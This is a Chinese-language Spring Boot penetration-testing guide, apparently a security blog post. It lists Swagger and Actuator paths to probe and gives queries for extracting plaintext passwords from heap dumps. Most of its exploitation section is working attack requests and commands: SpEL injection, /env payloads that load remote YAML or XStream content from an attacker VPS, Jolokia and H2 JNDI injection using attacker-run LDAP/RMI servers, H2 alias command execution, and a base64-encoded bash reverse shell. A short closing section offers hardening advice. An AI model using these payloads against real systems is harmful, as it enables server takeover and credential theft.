Springboot攻击面初探(一)
字数 3044 2025-08-06 18:07:44
SpringBoot攻击面分析与利用指南
0x01 信息收集
1.1 SpringBoot应用识别
-
默认图标识别:
- 早期版本(2.2.x之前)使用绿叶标志
- 2.2.x及以后版本移除了默认图标
-
默认报错页面特征:
- Whitelabel Error Page
- 包含"Spring Boot"字样
-
搜索引擎语法:
- FOFA:
app="spring" - Zoomeye:
app:"spring-boot" - Google:
app="spring-boot"
- FOFA:
-
浏览器插件识别:
- Wappalyzer等插件可识别SpringBoot应用
-
HTTP报文标头:
- 检查响应头中的
X-Application-Context等Spring特有字段
- 检查响应头中的
1.2 目录泄露
1.2.1 Swagger相关路由
/v2/api-docs
/swagger-ui.html
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
1.2.2 Actuator端点泄露
/actuator
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/jolokia
/actuator/hystrix.stream
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
重点关注端点:
/env或/actuator/env/refresh或/actuator/refresh/jolokia或/actuator/jolokia/trace或/actuator/httptrace
1.3 获取明文密码
利用条件:可访问/heapdump或/actuator/heapdump
步骤:
- 访问
/env或/actuator/env,搜索******标记的敏感信息 - 访问
/heapdump或/actuator/heapdump下载JVM堆信息 - 使用jvisualvm工具查询密码:
- Spring Boot 1.x:
select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString()) - Spring Boot 2.x:
select s.value.toString() from java.util.LinkedHashMap$Entry s where /password/.test(s.key.toString())
- Spring Boot 1.x:
0x02 Spring漏洞利用
2.1 Whitelabel Error Page SpEL RCE
影响版本:
- Spring Boot 1.1.0-1.1.12
- 1.2.0-1.2.7
- 1.3.0
利用条件:
- 知道至少一个触发SpringBoot默认错误页面的接口及参数名
利用步骤:
- 确定正常传参接口,如
/article?id=3 - 测试SpEL表达式:
/article?id=${7*7},观察是否计算并显示49 - 执行命令:
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
漏洞原理:Spring Boot处理参数值出错时,报错页面包含SpEL表达式,会解析并执行这些表达式。
2.2 Spring Cloud SnakeYAML RCE
影响版本:
- SpringBoot 2.x 无法利用
- SpringBoot 1.5.x在Dalston版本可利用,Edgware版本不可利用
- SpringBoot <=1.4可利用
利用条件:
/env接口可POST访问/refresh接口可POST刷新配置spring-cloud-starter版本<1.3.0.RELEASE- 存在
spring-boot-starter-actuator依赖 - 可访问外网
漏洞复现:
- 准备yml和jar文件
- 设置
spring.cloud.bootstrap.location属性:- Spring 1.x:
POST /env Content-Type: application/x-www-form-urlencoded spring.cloud.bootstrap.location=http://your-vps-ip/yaml-payload.yml - Spring 2.x:
POST /actuator/env Content-Type: application/json {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/yaml.payload.yml"}
- Spring 1.x:
- 刷新配置触发执行:
- Spring 1.x:
POST /refresh - Spring 2.x:
POST /actuator/refresh
- Spring 1.x:
漏洞原理:通过设置spring.cloud.bootstrap.location引入外部链接,访问refresh接口触发RCE。
2.3 Eureka XStream Deserialization RCE
影响版本:eureka-client<1.8.7
利用条件:
/env接口可POST访问/refresh接口可POST刷新配置- 可访问外网
漏洞复现:
- 架设XStream网站
- 设置
eureka.client.serviceUrl.defaultZone属性:- Spring 1.x:
POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example - Spring 2.x:
POST /actuator/env Content-Type: application/json {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/xstream"}
- Spring 1.x:
- 访问
/refresh触发RCE
漏洞原理:通过设置eureka.client.serviceUrl.defaultZone引入恶意URL,刷新配置后解析URL内的XStream反序列化代码。
2.4 Jolokia Logback JNDI RCE
利用条件:
- 可访问
/jolokia或/actuator/jolokia - 存在
jolokia-core依赖及相关MBean - 可访问外网
- JDK版本限制:
jdk<6u201/7u191/8u182/11.0.1(LDAP方式)
漏洞复现:
- 开启LDAP服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A [攻击机IP] - 准备XML文件并开启HTTP服务器:
python2 -m SimpleHTTPServer 8888 - 从外部URL加载日志配置:
http://target:port/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/[攻击机IP]:8888!/logback.xml
漏洞原理:请求外部日志配置文件URL,获取恶意XML内容,解析后请求恶意JNDI服务器,通过Jolokia调用JMXConfigurator类的reloadByURL方法导致JNDI注入。
2.5 Jolokia Realm JNDI RCE
利用条件:
- 可访问
/jolokia或/actuator/jolokia - 存在
jolokia-core依赖及相关MBean - 可访问外网
- JDK版本限制:
jdk<6u141/7u131/8u121(RMI方式)
漏洞复现:
- 准备XML和
JNDIObject.java文件 - 编译
JNDIObject.java:javac -source 1.5 -target 1.5 JNDIObject.java - 开启HTTP服务器和LDAP服务:
python2 -m SimpleHTTPServer 80 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://[攻击机IP]:80/##JNDIObject 1389 - 触发RCE:
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/[攻击机IP]!/example.xml
漏洞原理:请求外部日志配置文件URL,获取恶意XML内容,解析后设置外部JNDI服务器地址,导致JNDI注入。
2.6 H2 Database Query RCE
利用条件:
/env接口可POST设置属性/restart接口可POST重启应用- 存在
spring-boot-starter-actuator依赖 - 存在
com.h2database.h2依赖
漏洞复现:
- 设置
spring.datasource.hikari.connection-test-query属性:- Spring 1.x:
POST /env Content-Type: application/x-www-form-urlencoded spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc'); - Spring 2.x:
POST /actuator/env Content-Type: application/json {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
- Spring 1.x:
- 重启应用触发执行
漏洞原理:通过设置SQL查询语句,重启应用后执行自定义函数触发RCE。
2.7 H2 Database Console JNDI RCE
利用条件:
- 存在
com.h2database.h2依赖 - 启用了
spring.h2.console.enabled=true - 可访问外网
漏洞复现:
- 架设恶意RMI服务并监听:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,[base64编码命令]}|{base64,-d}|{bash,-i}' -A [攻击机IP] - 在H2控制台触发JNDI注入:
- Driver Class:
javax.naming.InitialContext - JDBC URL: 填入RMI服务生成的链接
- 点击Connect触发反弹shell
- Driver Class:
漏洞原理:通过H2控制台的JDBC连接功能触发JNDI注入。
0x03 总结
SpringBoot的攻击面远不止上述几种,实际应用中需要结合具体环境和配置进行深入测试。建议开发人员:
- 及时更新SpringBoot和相关组件版本
- 禁用不必要的Actuator端点
- 限制敏感接口的访问权限
- 避免在生产环境开启调试功能
- 定期进行安全审计和渗透测试
参考资源: